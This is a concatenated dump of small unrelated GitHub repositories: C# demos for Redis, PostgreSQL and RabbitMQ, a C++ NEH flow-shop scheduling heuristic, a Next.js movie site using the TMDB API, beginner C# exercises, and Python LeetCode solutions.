] | 1 | JavaScript | Reaper45/Meet-Ups | c428e4fd53c931df8e1d46316d6b8f45b42dac99 | 4a044e271ffd08d07f212c464ae90a129cd7dbee |
refs/heads/main | <repo_name>ewinnington/crimson-catalyst-csharp<file_sep>/cli-redis/Program.cs
using System;
using StackExchange.Redis;
namespace cli_redis
{
class Program
{
static void Main(string[] args)
{
ConnectionMultiplexer redis = ConnectionMultiplexer.Connect("localhost");
IDatabase db = redis.GetDatabase();
db.StringSet("key1", "Hello world from redis");
Console.WriteLine(db.StringGet("key1"));
redis.Close();
}
}
}
<file_sep>/README.md
# crimson-catalyst-csharp
A first codespace enabled repository to continue my multi-language common tasks (Redis, Rabbitmq, Postgresql, RestAPI Server & Client)
<file_sep>/cli-pgsql/Program.cs
using System;
using Npgsql;
namespace cli_pgsql
{
class Program
{
static void Main(string[] args)
{
var connectionStringBuilder = new NpgsqlConnectionStringBuilder() {
ConnectionString = "User ID=docker;Password=<PASSWORD>;Server=localhost;Port=5432;Database=docker;Integrated Security=true;Pooling=false;CommandTimeout=300"};
var Db = new NpgsqlConnection(connectionStringBuilder.ConnectionString);
Db.Open();
var sqlCreate = "CREATE TABLE currencies(id SERIAL PRIMARY KEY, name VARCHAR(3))";
var sqlInsert = "INSERT INTO currencies (name) VALUES (@n)";
var sqlQuery = "SELECT id, name FROM currencies LIMIT @lim";
using (var cmd = new NpgsqlCommand(sqlCreate, Db))
{
cmd.ExecuteNonQuery();
}
using (var cmd = new NpgsqlCommand(sqlInsert, Db))
{
cmd.Parameters.AddWithValue("n", "CHF");
cmd.ExecuteNonQuery();
cmd.Parameters.Clear();
cmd.Parameters.AddWithValue("n", "USD");
cmd.ExecuteNonQuery();
}
using (var cmd = new NpgsqlCommand(sqlQuery, Db))
{
cmd.Parameters.AddWithValue("lim", 1);
var dr = cmd.ExecuteReader();
while (dr.Read())
{
Console.WriteLine(dr["name"]);
}
}
}
}
}
<file_sep>/cli-rabbit/Program.cs
using System;
using System.Text;
using System.Threading.Tasks;
using RabbitMQ.Client;
using RabbitMQ.Client.Events;
namespace cli_rabbit
{
class Program
{
static string connection = "amqp://guest:guest@localhost:5672/";
public static void Publish()
{
ConnectionFactory factory = new ConnectionFactory();
factory.Uri = new Uri(connection);
using(var connection = factory.CreateConnection())
using(var channel = connection.CreateModel())
{
channel.QueueDeclare(queue: "hello",
durable: false,
exclusive: false,
autoDelete: false,
arguments: null);
string message = "Hello World!";
var body = Encoding.UTF8.GetBytes(message);
channel.BasicPublish(exchange: "",
routingKey: "hello",
basicProperties: null,
body: body);
}
}
public static int Main(string[] args)
{
ConnectionFactory factory = new ConnectionFactory();
factory.Uri = factory.Uri = new Uri(connection);
using(var connection = factory.CreateConnection())
using(var channel = connection.CreateModel())
{
channel.QueueDeclare(queue: "hello",
durable: false,
exclusive: false,
autoDelete: false,
arguments: null);
var consumer = new EventingBasicConsumer(channel);
consumer.Received += (model, ea) =>
{
var body = ea.Body.ToArray();
var message = Encoding.UTF8.GetString(body);
Console.WriteLine(" [x] Received {0}", message);
};
channel.BasicConsume(queue: "hello",
autoAck: true,
consumer: consumer);
}
Publish();
Console.WriteLine("Running");
Console.ReadKey();
return 0;
}
}
}
| ba5249e17e03916b4d4969d2c06e17ec21ccc0d0 | [
"Markdown",
"C#"
] | 4 | C# | ewinnington/crimson-catalyst-csharp | 92ff0c71e8c4fa76d143942c258d445ad5ada4ab | 81339ccbdc8f29f6e96ea9a6b1b1a9e3b0d6eb0b |
refs/heads/master | <file_sep>#include <iostream>
#include <fstream>
#include <vector>
#include <algorithm>
using namespace std;
int n;
int m;
struct Quest {
int task_nr; //nr zadania
int sum_of_times; //suma czasow zadania
vector<int> time_exec; //wektor czasow wykonania zadania na maszynach
vector<int> start_quest; //wektor czasow poczatku wykonania zadania na maszynach
void count_Cmax(); //obliczanie cmax dla zadania (do sortowania)
bool operator < (Quest& q) { // sortowanie zadan
return sum_of_times > q.sum_of_times; //przeciazenie operatora, wieksze zadanie ma wiekszy Cmax
}
};
void Quest::count_Cmax()
{
sum_of_times = 0;
for (int i = 0; i < time_exec.size(); i++) {
sum_of_times = sum_of_times + time_exec[i]; //zliczanie czasow od 1 maszyny do ntej maszyny
}
}
vector<Quest> q_vect_sorted;
vector<Quest> q_vect;
int Cmax;
void wczytaj() {
int time; // potrzebne do wczytywania poszczegolnych czasow z pliku
Quest temp; //wczytywane zadanie z pliku
fstream plik;
plik.open("NEH1.DAT", ios::in);
plik >> n;
plik >> m;
for (int i = 0; i < n; i++)
{
temp.task_nr = i + 1; //przypisanie reczne numeru zadania
q_vect_sorted.push_back(temp); //wrzucenie zadania do wektora zadan
for (int j = 0; j < m; j++)
{
plik >> time;
q_vect_sorted[i].time_exec.push_back(time); //wrzucanie czasów do wektora czasów zadań
}
q_vect_sorted[i].count_Cmax(); //zliczanie czasów zadań (potrzebne do posortowania)
}
plik.close();
}
void wyswietl_q_vect_sorted() {
for (int i = 0; i < q_vect_sorted.size(); i++)
{
cout << q_vect_sorted[i].task_nr << " |";
for (int j = 0; j < m; j++)
{
cout << q_vect_sorted[i].time_exec[j] << " ";
}
cout << "| Cmax = " << q_vect_sorted[i].sum_of_times << endl;
}
cout << endl;
}
void wyswietl_q_vect()
{
for (int i = 0; i < q_vect.size(); i++)
{
cout << q_vect[i].task_nr << " |";
for (int j = 0; j < m; j++)
{
cout << q_vect[i].time_exec[j] << " ";
}
cout << "| Cmax = " << q_vect[i].sum_of_times << endl;
}
}
void sort()
{
sort(q_vect_sorted.begin(), q_vect_sorted.end()); //sortowanie po cmax
cout << endl;
}
/*
*
* set gives us the set of jobs to permutatation
*
*/
long long int insert_permutations_of(vector<Quest> permutation_set, vector<Quest>* into_table)
{
unsigned long int amount = permutation_set.size();
}
long long int factorial( unsigned long int base)
{
long long int result = 1;
for(unsigned long int i = base; i > 1; i--)
result*=i; //or result = result * i
return result;
}
vector<Quest>* permutation (vector<Quest> quest_set, int unique_quests)
{
unsigned long int i=0;
long long int number_of_permutations = factorial(unique_quests);
auto permutation_table = new vector<Quest>[number_of_permutations];
do
{
permutation_table[i] = quest_set;
i++;
}while( next_permutation(quest_set.begin(),quest_set.end()) );
return permutation_table;
}
void find_Cmax() { //szukanie kombinacji z najmniejszym cmax
int bestCmax = 9999;
int position = 0;
Cmax = 9999;
int left = 0;
int right = 0;
int i, j, temp;
for (temp = 0; temp < q_vect.size(); temp++) //petla wykonywana n razy gdzie n to ilosc zadan w puli
{
q_vect[0].start_quest.push_back(0);
for (i = 0; i < m - 1; i++) //wrzucenie czasow startu zadania pierwszego
{
q_vect[0].start_quest.push_back(q_vect[0].start_quest[i] + q_vect[0].time_exec[i]); // czeemu tu jest dodawanie w push back ? I czemu osono ? ( Bo potem zaczyna się na bazie pierwszego.)
}
for (i = 1; i < q_vect.size(); i++) //wczucenie czasow startu reszty zadan na pierwszej maszynie
{
q_vect[i].start_quest.push_back(q_vect[i - 1].start_quest[0] + q_vect[i - 1].time_exec[0]);
}
for (j = 1; j < q_vect.size(); j++) //wrzucenie reszty czasow
{
for (i = 1; i < m; i++)
{
q_vect[j].start_quest.push_back(max(q_vect[j - 1].time_exec[i] + q_vect[j - 1].start_quest[i], q_vect[j].time_exec[i - 1] + q_vect[j].start_quest[i - 1]));
}
}
Cmax = (q_vect.back().start_quest.back() + q_vect.back().time_exec.back());
wyswietl_q_vect();
cout << "Cmax = " << Cmax << endl;
cout << endl;
for (i = 0; i < q_vect.size(); i++) //zerowanie czasow startu zadan dla wszystkich zadan
{
q_vect[i].start_quest.clear();
}
if (Cmax < bestCmax) //sprawdzanie cmax
{
bestCmax = Cmax;
position = 0; //jesli znaleziono lepszy niz poprzednio, permutacja pozostaje
}
else
{
position++; //jesli nie, zmiana miejsca dodanego zadania (zliczanie roznicy miejsc miedzy najlepszym do tej pory a nastepnym lepszym od niego)
}
right = q_vect.size() - temp - 1; //zamiana elementow
left = q_vect.size() - temp - 2;
if (temp < q_vect.size() - 1)
{
swap(q_vect[left], q_vect[right]);
}
}
for (i = 0; i < position; i++) //zamiana miejsc dodanego zadania na miejsce o (position) wieksze jesli cmax jest gorszy niz poprzednio wyliczony
{
swap(q_vect[i], q_vect[i + 1]); // przykladowo uklad 1 2 3 jest dobry, dodany 4 element (4 1 2 3) i wynikiem jest 1 2 4 3 wiec zmieniamy pozycje 4 z 1 potem 4 z 2
} //zmienna position ma tutaj wartosc 2
Cmax = bestCmax;
cout << "Najlepszy Cmax dla " << q_vect.size() << " elementow: " << Cmax << endl;
cout << "Permutacja dla " << q_vect.size() << " elementow:" << endl;
wyswietl_q_vect();
cout << endl;
}
void Neh(){ //bierze 2 zadania o najwiekszym cmax skladowym i ustawia je w kolejnosci
int i, a, b;
int temp[2];
q_vect.push_back(q_vect_sorted[0]); // wrzucanie posortowanych Cmaxem zadań do q_vect
q_vect.push_back(q_vect_sorted[1]);
for (a = 0; a < q_vect.size(); a++)
{
q_vect[0].start_quest.push_back(0); //pierwsza operacja na maszynie pierwszego zadania ma czas startu 0
q_vect[1].start_quest.push_back(q_vect[0].start_quest[0] + q_vect[0].time_exec[0]); //drugie zadanie ma czasy startu zwiekszone o czasy wykonania pierwszego zadania ( pierwsza operacja zaczyna się o tyle później)
for (b = 0; b < m - 1; b++)
{
q_vect[0].start_quest.push_back(q_vect[0].start_quest[b] + q_vect[0].time_exec[b]); //przyporządkowanie do zadania pierwszego czasów startu operacji (1 zadanie: czas 0, 2: czas 1zad+ wyk 1 zad ...)
}
for (b = 1; b < m; b++) //przyporządkowanie do zadania drugiego czasów startu zadań
{
q_vect[1].start_quest.push_back(max(q_vect[1].time_exec[b - 1], q_vect[0].time_exec[b] + q_vect[0].start_quest[b]));
}
Cmax = q_vect.back().start_quest.back() + q_vect.back().time_exec.back(); //poczatek drugiego zadania na ostatniej maszynie + czas wykonania tego zadania
temp[a] = Cmax;
q_vect[0].start_quest.clear(); //zerowanie czasu startu zadan przed zamiana ich miejsc i ponownym sprawdzaniu optymalnosci ustawienia
q_vect[1].start_quest.clear();
swap(q_vect[0], q_vect[1]);
}
if (temp[0] > temp[1]) //porownanie cmaxow
{
Cmax = temp[1]; // lepszy cmax
swap(q_vect[0], q_vect[1]);
}
else
{
Cmax = temp[0];
}
cout << "Poczatkowa permutacja dla 2 zadan: " << endl; //!!!
wyswietl_q_vect();
cout << "Cmax = " << Cmax << endl;
cout << endl;
for (i = 2; i < n; i++) //wstawianie pojedynczych zadan do puli i szukanie najmniejszego cmax
{
q_vect.push_back(q_vect_sorted[i]);
cout << endl;
cout << "Dodano zadanie" << endl;
cout << endl;
find_Cmax(); // jak sortuje bez inicjalizowania startów ?
}
}
int main()
{
wczytaj();
wyswietl_q_vect_sorted(); // zmienić sorted na coś innego
sort();
cout << "Posortowane zadania po malejacej sumie wykonania zadan:" << endl;
wyswietl_q_vect_sorted();
Neh();
cout << "Permutacja zadan:" << endl;
wyswietl_q_vect();
getchar();
}
/*
* Pierwszy parametr to ilość questów z jakich robię wstępne kombinacje.
* Drugi parametr to ilość najlepszych zaakceptowanych do dalszego pzetwarzania.
*
*/<file_sep>file(REMOVE_RECURSE
"CMakeFiles/BoAiR.dir/Neh_heuristic.cpp.o"
"BoAiR.pdb"
"BoAiR"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/BoAiR.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep># Neh-potato
<file_sep>#include <iostream>
//#include <conio.h>
#include <fstream>
#include <stdio.h>
#include <algorithm>
//#include <Windows.h>
#include <queue>
using namespace std;
int n; //ilosc zadan
int m; //ilosc maszyn
struct Zadanie{
int job_nr;
int *machine_time;
int Cmax;
void oblicz_cmax();
};
struct Machine: public Zadanie {
int *machine_nr;
int current_time;
int end_time;
};
void Zadanie::oblicz_cmax()
{
Cmax = 0;
for (int i = 0; i < m; i++) {
Cmax = Cmax + machine_time[i];
}
}
struct Cmax_up //przeciazenie operatora porownania zadan
{
bool operator()(Machine& a, Machine& b)
{
return a.Cmax < b.Cmax;
}
};
priority_queue<Machine, vector<Machine>, Cmax_up> kolejka;
priority_queue<Machine, vector<Machine>, Cmax_up> temp_queue;
Machine * tab;
istream& operator >> (istream& wejscie, Machine& zadanie) //przeciazenie operatora wejscia
{
for (int i = 0; i < m; i++) {
wejscie >> zadanie.machine_time[i];
}
return wejscie;
}
ostream& operator << (ostream& wyjscie, Machine& zadanie) //przeciazenie operatora wyjscia
{
cout << zadanie.job_nr << " | ";
for (int i = 0; i < m; i++) {
cout << zadanie.machine_time[i] << " ";
}
cout << "| " << zadanie.Cmax << endl;
return wyjscie;
}
void show(priority_queue<Machine, vector<Machine>, Cmax_up> kolejka ) // DEBUG func
{
Machine current_top;
while (kolejka.size()>0)
{
current_top = kolejka.top();
cout << current_top << endl;
kolejka.pop();
}
cout << "THAT WAS SHOW" << endl;
}
void wczytaj()
{
fstream plik;
plik.open("NEH1.DAT", ios::in);
if (plik.good() == false)
{
cout << "Nie mozna otworzyc pliku!" << endl;
};
plik >> n; // Wczytanie ilosci wierszy
plik >> m; // Wczytanie ilosci maszyn
Machine k;
tab = new Machine[n];
k.machine_time = new int[m];
/*Machine * tab = new Machine[n];
for (int i = 0; i < n; i++) {
tab[i].job_nr = i + 1;
plik >> tab[i];
}*/
for (int i = 0; i < n; i++) //Wczytanie wartosci z pliku do kolejki
{
k.job_nr = i + 1;
plik >> k;
/*for (int i = 0; i < m; i++) {
k.machine_nr[i] = i + 1;
}*/
k.oblicz_cmax();
cout << k;
tab[i] = k;
kolejka.push(k);
//show(kolejka); // wypisywanie kolejki
}
cout << "To było wczytywanie" << endl;
plik.close();
//delete[] k.machine_time;
//delete[] tab;
};
Machine init_element(Machine &element) // DEBUG func
{
element.machine_time = new int[m];
element.Cmax = 1000;
element.job_nr = 999;
for (int i = 0; i < m; ++i)
{
element.machine_time[i] = 1;
}
return element;
}
void order() { //wyswietlanie zadan w kolejnosci po Cmax
/*for (int i = 0; i < n; i++)
cout << tab[i];*/
while (kolejka.size() > 0) {
Machine nowe = kolejka.top();
kolejka.pop();
temp_queue.push(nowe);
cout << nowe;
}
while (temp_queue.size() > 0) {
Machine nowe = temp_queue.top();
temp_queue.pop();
kolejka.push(nowe);
}
}
/*void Neh() {
Machine * tab_seq = new Machine[n];
Machine * tab = new Machine[n];
int iteracja = 0;
while (kolejka.size() > 0) {
Machine nowe = kolejka.top();
kolejka.pop();
tab[iteracja] = nowe;
tab[iteracja++];
}
for (int i = 0; i < n; i++) {
cout << tab[i];
}
int amount = 4;
for (int i = 0; i < amount; i++) {
tab_seq[i] = tab[i];
cout << tab_seq[i];
}
delete tab_seq;
delete tab;
}*/
int main() {
Machine artificial; // DEBUG var
Machine aa;
wczytaj();
//show(kolejka); // DEBUG wypisywanie kolejki
cout << endl;
order();
cout << "TO BYŁ ORDER " << endl;
kolejka.pop();
aa = kolejka.top();
cout << aa;
//ss = kolejka.top();
//Neh();
cout << endl;
init_element(artificial);
cout << artificial << endl;
//show(kolejka);
//cout << ss;
getchar();
//system("CLS"); // check if cp-paste code works...
#ifdef WIN32
system("cls");
#else
system("clear");
#endif
}
| 1349a35c29b14cb7c48d3c4841fcde6c344e9ad9 | [
"Markdown",
"CMake",
"C++"
] | 4 | C++ | Tigur/Neh-potato | 9c300ce667747963cee60e4454a9531a52e7d247 | 1af0493201ea0bf79b2c59a7473892734b78e996 |
refs/heads/main | <repo_name>xchenc/Flicks-by-PIE-LLC<file_sep>/src/components/Tiles.jsx
import PropTypes from 'prop-types';
import SwiperCore, { Navigation } from 'swiper';
import { Swiper, SwiperSlide } from 'swiper/react';
import Link from 'next/link';
import styles from 'styles/components/Tiles.module.scss';
SwiperCore.use([Navigation]);
const Tiles = ({ data, title, type }) => (
<>
<div className={styles.head}>{title}</div>
<div className={styles.tiles}>
<Swiper
spaceBetween={20}
slidesPerView={10}
slidesPerGroup={10}
navigation
>
{data.map(d => (
<SwiperSlide key={d.id} style={{ width: 50 }}>
<Link href={`/${type}/${d.id}`}>
<a><img src={`https://image.tmdb.org/t/p/w300${d.backdrop_path}`} className={styles.img}/></a>
</Link>
<div className={styles.title}>{d.title || d.name}</div>
</SwiperSlide>
))}
</Swiper>
</div>
</>
);
Tiles.propTypes = {
slidesPerView: PropTypes.number,
};
export default Tiles;
<file_sep>/src/components/Layout.js
import React from 'react';
import styles from 'styles/pages/Home.module.scss';
import Head from 'next/head';
import Imdb from '../assets/imdb.svg';
import Pie from '../assets/pie.svg';
import Link from 'next/link'
export default function ({ children }) {
return (
<div className={styles.container}>
<Head>
<title>Flicks by PIE LLC</title>
<link rel='icon' href='/favicon.ico'/>
</Head>
<header className={styles.header}>
<Link href="/">
<a>
<Pie/>
</a>
</Link>
</header>
<main className={styles.main}>
{children}
</main>
<footer className={styles.footer}>
<span className={styles.footerCp}>© 2021 PIE LLC</span>
<div className={styles.footerLogo}>
Movie data provided by <Imdb/>
</div>
</footer>
</div>
);
}
<file_sep>/next.config.js
const path = require('path');
const withReactSvg = require('next-react-svg');
module.exports = withReactSvg({
include: path.resolve(__dirname, 'src/assets'),
trailingSlash: true,
webpackDevMiddleware: (config) => {
config.watchOptions = {
poll: 1000,
aggregateTimeout: 300,
};
return config;
},
sassOptions: {
includePaths: [path.join(__dirname, 'src/styles')],
},
});
<file_sep>/tests/pages/index.test.jsx
import { render, fireEvent } from '@testing-library/react';
import Home from 'pages/index';
describe('Home page', () => {
it('matches snapshot', () => {
const { asFragment } = render(<Home />);
expect(asFragment()).toMatchSnapshot();
});
it('toggles title on button click', () => {
const { getByRole, getByText } = render(<Home />);
expect(getByRole('heading', { level: 1 })).toHaveTextContent('This is CSC 59939!');
fireEvent.click(getByText('Click Me To Toggle'));
expect(getByRole('heading', { level: 1 })).toHaveTextContent('Welcome to Next.js!');
fireEvent.click(getByText('Click Me To Toggle'));
expect(getByRole('heading', { level: 1 })).toHaveTextContent('This is CSC 59939!');
});
});
<file_sep>/tests/components/Tiles.test.jsx
import { render, fireEvent } from '@testing-library/react';
import Tiles from 'components/Tiles';
describe('Home page', () => {
it('matches snapshot', () => {
const { asFragment } = render(<Tiles slidesPerView={2} />);
expect(asFragment()).toMatchSnapshot();
});
});
<file_sep>/src/pages/index.js
import Tiles from 'components/Tiles';
import Layout from '../components/Layout';
const Home = ({ upcoming, mvt, tvt }) => {
return (
<Layout>
<Tiles data={upcoming.results} title={'upcoming'} type={'movie'}/>
<Tiles data={mvt.results} title={'MOVIES'} type={'movie'}/>
<Tiles data={tvt.results} title={'tv shows'} type={'tv'}/>
</Layout>
);
};
const KEY = '241f3377f8533fde1ca3df1543c681aa';
export async function getUpcoming () {
return await (await fetch(`https://api.themoviedb.org/3/movie/upcoming?api_key=${KEY}`)).json();
}
export async function getMovieTrending () {
return await (await fetch(`https://api.themoviedb.org/3/trending/movie/week?api_key=${KEY}`)).json();
}
export async function getTvTrending () {
return await (await fetch(`https://api.themoviedb.org/3/trending/tv/week?api_key=${KEY}`)).json();
}
export async function getMovieDetail (id) {
return await (await fetch(`https://api.themoviedb.org/3/movie/${id}?api_key=${KEY}`)).json();
}
export async function getTvDetail (id) {
return await (await fetch(`https://api.themoviedb.org/3/tv/${id}?api_key=${KEY}`)).json();
}
export default Home;
export async function getStaticProps (context) {
const [upcoming, mvt, tvt] = await Promise.all([
getUpcoming(),
getMovieTrending(),
getTvTrending()
]);
return {
props: { upcoming, mvt, tvt }
};
} | 12a6b7c73e85777c5ccd1e3cb098d0fea08c2cca | [
"JavaScript"
] | 6 | JavaScript | xchenc/Flicks-by-PIE-LLC | dfc1b146974088e7d96d1c84a7016ec90d0f4d98 | 246013703d18bf53512f36d64577be6689f6eac8 |
refs/heads/master | <repo_name>brianriosv/Solution1<file_sep>/Exercise3/Program.cs
using System;
namespace Exercise3
{
class Program
{
static void Main(string[] args)
{
char iter = 's';
int factorial = 1; //...
while (iter == 's') {
Console.Write("Ingrese un numero: ");
int num = int.Parse(Console.ReadLine());
if (num < 0)
{
Console.WriteLine("El numero es negativo.");
}
else
{
for (int i = 1; i <= num; i++)
{
factorial *= i;
}
Console.Write("El factorial de " + num + " es: " + factorial + " ");
}
Console.WriteLine("¿Desea continuar (S/N)?");
iter = char.Parse(Console.ReadLine());
factorial = 1;
}
}
}
}
<file_sep>/Exercise1/Program.cs
using System;
namespace Solucion1
{
class Program
{
static void Main(string[] args)
{
Console.Write("Ingrese un numero: ");
int num = int.Parse(Console.ReadLine());
Console.WriteLine();
if (num > 0)
Console.WriteLine("El numero es positivo.");
else
Console.WriteLine("El numero es negativo.");
if (num % 2 == 0)
Console.WriteLine("El numero es par.");
else
Console.WriteLine("El numero es impar.");
Console.WriteLine("Divisores: ");
for (int i = 1; i <= num; i++)
{
if (num % i == 0)
{
Console.WriteLine();
Console.WriteLine(". " + i);
}
}
Console.ReadLine();
}
}
}
<file_sep>/Exercise5/Program.cs
using System;
namespace Exercise5
{
class Program
{
static void Main(string[] args)
{
float sum = 0;
float cont = 0;
float prom;
int cantnum;
int num;
Console.Write("Cantidad de numero a ingresar: ");
cantnum = int.Parse(Console.ReadLine());
Console.WriteLine();
Console.WriteLine("Ingrese los numeros: ");
Console.WriteLine();
for (int i = 0; i < cantnum; i++)
{
Console.Write(". ");
num = int.Parse(Console.ReadLine());
sum += num;
cont++;
}
prom = sum / cont;
Console.WriteLine();
Console.WriteLine("La sumatoria es: " + sum);
Console.WriteLine("El promedio es: " + prom);
Console.ReadLine();
}
}
}
<file_sep>/README.md
# Solution1
Exercises in C#
<file_sep>/Exercise2/Program.cs
using System;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
char iter = 's';
int cont;
int num;
while (iter == 's')
{
cont = 0;
Console.Write("Ingrese un numero: ");
num = int.Parse(Console.ReadLine());
if (num >= 2)
{
for (int i = 1; i <= num; i++)
{
if (num % i == 0)
cont++;
}
if (cont == 2)
Console.Write("El numero es primo. ");
else
Console.Write("El numero no es primo. ");
Console.WriteLine("¿Desea continuar (S/N)?");
iter = char.Parse(Console.ReadLine());
}
else
Console.WriteLine("NOTA: el numero debe ser mayor o igual a dos.");
Console.WriteLine();
}
}
}
}
| 95251d86f0fb0db483802f8d2c7e57cdb8e89b3b | [
"Markdown",
"C#"
] | 5 | C# | brianriosv/Solution1 | 50a69ffd3c58301260cf6dd63c18576a665f0272 | 8e41d849b387ef09bc8877ed52ab526f76849243 |
refs/heads/master | <repo_name>wginin/pyg<file_sep>/src/dynamicProxy/QingXImen.java
package dynamicProxy;
import java.lang.reflect.Proxy;
/**
* @description:
* @author: wginin
* @date: 2019-04-23 00:43
**/
public class QingXImen {
public static void main(String[] args) {
JinlianPan pan = new JinlianPan();
Invokeler ik = new Invokeler(pan);
//调用newProxyInstance()方法动态创建代理对象,代理对象类必定跟委托类实现了相同的接口
//该方法第一个参数是类加载器,第二个参数是委托类实现的所有接口(使用委托类的字节码文件对象.getInterfaces()方法获取)
KindWoman women = (KindWoman) Proxy.newProxyInstance(QingXImen.class.getClassLoader(), JinlianPan.class.getInterfaces(), ik);
//代理对象调用任意方法,都会调用到InvocationHandler的实现类对象的invoke方法
//通过代理对象调用金莲的happyWithMan()方法
women.happyWithMan();
double collect = women.collect(2000);
System.out.println("金莲拿到啦"+collect);
}
}
<file_sep>/src/dynamicProxy/Invokeler.java
package dynamicProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
/**
* @description: 代理类
* @author: wginin
* @date: 2019-04-23 00:24
**/
public class Invokeler implements InvocationHandler {
private Object target;
public Invokeler(Object target) {
super();
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//此处的三个参数:第一个proxy指的是生成的动态代理对象
//第二个参数method是被调用的方法
//第三个参数是调用该方法传入的参数
String methodName = method.getName();
if ("happyWithMan".equals(methodName)) {
openHours();
method.invoke(target, args);
return null;
} else if ("collect".equals(methodName)){
//如果方法是collect(),则扣除40%的手续费
double money = (double) method.invoke(target, args);
System.out.println("平台收取40%的手续费,共计:"+money*0.4+"元");
return money*0.6;
}
return method.invoke(target, args);
}
public void openHours(){
System.out.println("以做衣服的名义把两人安排到已开好的房间里。。。");
}
}
| d8e02ee07cf50b5c884fdec3967ec965df7a6131 | [
"Java"
] | 2 | Java | wginin/pyg | 433c7e36434c6f5054ecb91f6804eb60b8a5f0b3 | cad1047e546bb71aab7a1029dad04969e6b86051 |
refs/heads/master | <repo_name>mcfog/higari<file_sep>/gulpfile.js
var gulp = require('gulp');
var $ = require('gulp-load-plugins')();
var mergeStream = require('merge-stream');
var globs = {
js: 'frontend/js/**/*.js',
less: 'frontend/less/**/*.main.less',
html: 'frontend/html/**/*',
assets: [
'frontend/fonts/**/*',
'frontend/images/**/*'
]
};
gulp.task('js', [], function () {
return gulp.src('frontend/js/**/*.js')
.pipe($.uglify())
.pipe(gulp.dest('public/js'));
});
gulp.task('css', function () {
return gulp.src(globs.less)
.pipe($.less())
.pipe($.cleanCss())
.pipe($.rename(function (path) {
path.basename = path.basename.replace(/\.main$/, '.min');
}))
.pipe(gulp.dest('public/css'));
});
gulp.task('assets', function () {
return mergeStream.apply(null, globs.assets.map(function(glob) {
return gulp.src(glob)
.pipe(gulp.dest(glob.replace(/\/\*.*$/, '').replace(/^frontend/, 'public')));
}));
});
gulp.task('html', function () {
return gulp.src(globs.html)
.pipe(gulp.dest('public'));
});
gulp.task('build', ['js', 'css', 'assets', 'html']);
gulp.task('watch', ['build'], function () {
$.livereload.listen();
gulp.watch(globs.js, ['js', pop])
.on('change', push);
gulp.watch(globs.less, ['css', pop])
.on('change', push);
gulp.watch(globs.html, ['html', pop])
.on('change', push);
gulp.watch(globs.assets, ['assets', pop])
.on('change', push);
var changed = [];
function push(s) {
changed.push(s);
}
function pop() {
while (changed.length > 0) {
var s = changed.pop();
$.livereload.changed(s);
}
}
});
gulp.task('server', function() {
// require('./server');
});
gulp.task('default', function () {
gulp.start('watch');
gulp.start('server');
});
<file_sep>/warmup-old.js
require('livescript');
generator = require('./srv/generator');
generator.warmup(generator.oldSeasons());
<file_sep>/.env.example
S3_ENDPOINT=
S3_BUCKET=
AWS_REGION=
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
<file_sep>/frontend/js/index.main.js
$.get('//rank-data.mcfog.wang/index-all.json?' + (localStorage.timestamp || parseInt(Date.now() / 7200000))).then(function (seasons) {
$('.ctn-season').html(_.template($('#tpl-season').html())(seasons));
});
<file_sep>/Dockerfile
FROM node:lts-alpine
WORKDIR /srv
COPY package.json yarn.lock .
RUN yarn
COPY . .
ENV OUTPUT_HOME=/tmp
CMD ["node", "docker.js"]
| 29407aa4d10613d843cfc00c04c51bae77a40424 | [
"JavaScript",
"Dockerfile",
"Shell"
] | 5 | JavaScript | mcfog/higari | 344edcbe3f12028a4d1b4594957e6358e120187f | 66bf1c8f31e6b5d009923623c859a62105c2e91d |
refs/heads/main | <file_sep># Time Complexity: O(n)
# Space Complexity: O(n)
"""
# Definition for Employee.
class Employee:
def __init__(self, id: int, importance: int, subordinates: List[int]):
self.id = id
self.importance = importance
self.subordinates = subordinates
"""
# DFS
class Solution:
# Maintain the result and dictionary in the global scope
def __init__(self):
self.d = {}
self.result = 0
# Obtain the employee from the dictionary with id
# Add the importance to result
# Traverse the subordinates
def dfs(self, id):
# No Base case as for loop is handling the recursion
#Logic
e = self.d[id]
self.result += e.importance
for subid in e.subordinates:
self.dfs(subid)
def getImportance(self, employees: List['Employee'], id: int) -> int:
# Base condition check
if employees == None or len(employees) == 0:
return 0
# Loop through employees to create a dictionary
for emp in employees:
self.d[emp.id] = emp
# Call the dfs function with id
self.dfs(id)
return self.result
# BFS
# Time Complexity: O(n)
# Space Complexity: O(n)
"""
# Definition for Employee.
class Employee:
def __init__(self, id: int, importance: int, subordinates: List[int]):
self.id = id
self.importance = importance
self.subordinates = subordinates
"""
class Solution:
def getImportance(self, employees: List['Employee'], id: int) -> int:
# Null condition check
if employees == None or len(employees) == 0:
return 0
# Declare a queue
q = deque()
q.append(id)
result = 0
d = {}
# Create a dictionary with employee id as key and object as value
for emp in employees:
d[emp.id] = emp
# Here we dont need the size because we need to process all the ids
while q:
# Obtain the id from queue
# Obtain the object from dictionary
# Add the importance to result
eid = q.popleft()
e = d[eid]
result += e.importance
# Append the subid to the queue
for subid in e.subordinates:
q.append(subid)
return result
<file_sep># BFS
# Time Complexity: O(mn)
# Space Complexity: O(mn)
class Solution:
def orangesRotting(self, grid: List[List[int]]) -> int:
# None Condition check
if (len(grid) == 0 or grid == None):
return 0
# Obtain the number of rows and cols
rows = len(grid)
cols = len(grid[0])
# Fresh and time variable to count the fresh oranges and time to rot
fresh = 0
time = 0
q = deque()
for i in range(rows):
for j in range(cols):
# if grid value is 1, increment fresh by 1
# This is to keep track of fresh
if grid[i][j] == 1:
fresh += 1
# If the val is 2, append row and col in the queue
if grid[i][j] ==2:
q.append(i)
q.append(j)
# Check if there are no fresh, return 0
if fresh == 0: return 0
# Declare in the dirs array for traversing four directions
dirs = [[0,1],[0,-1],[1,0],[-1,0]]
while q:
size = len(q)
time += 1
# For each level, pop the element and check if it is fresh
# If it is fresh, make it rotten
# Append it in the queue
for i in range(0,size,2):
r = q.popleft()
c = q.popleft()
for dir in dirs:
nr = r + dir[0]
nc = c + dir[1]
if nr >= 0 and nr < rows and nc >= 0 and nc < cols and grid[nr][nc] == 1:
grid[nr][nc] = 2
fresh -= 1
q.append(nr)
q.append(nc)
# If fresh are available, return -1 as we could not make all fresh rotten
if fresh > 0:
return -1
# Subtract one as we are incrementing for the last level as well
return time - 1
| be199d32085c3d0d309d2bbea705cfc2fdfe7214 | [
"Python"
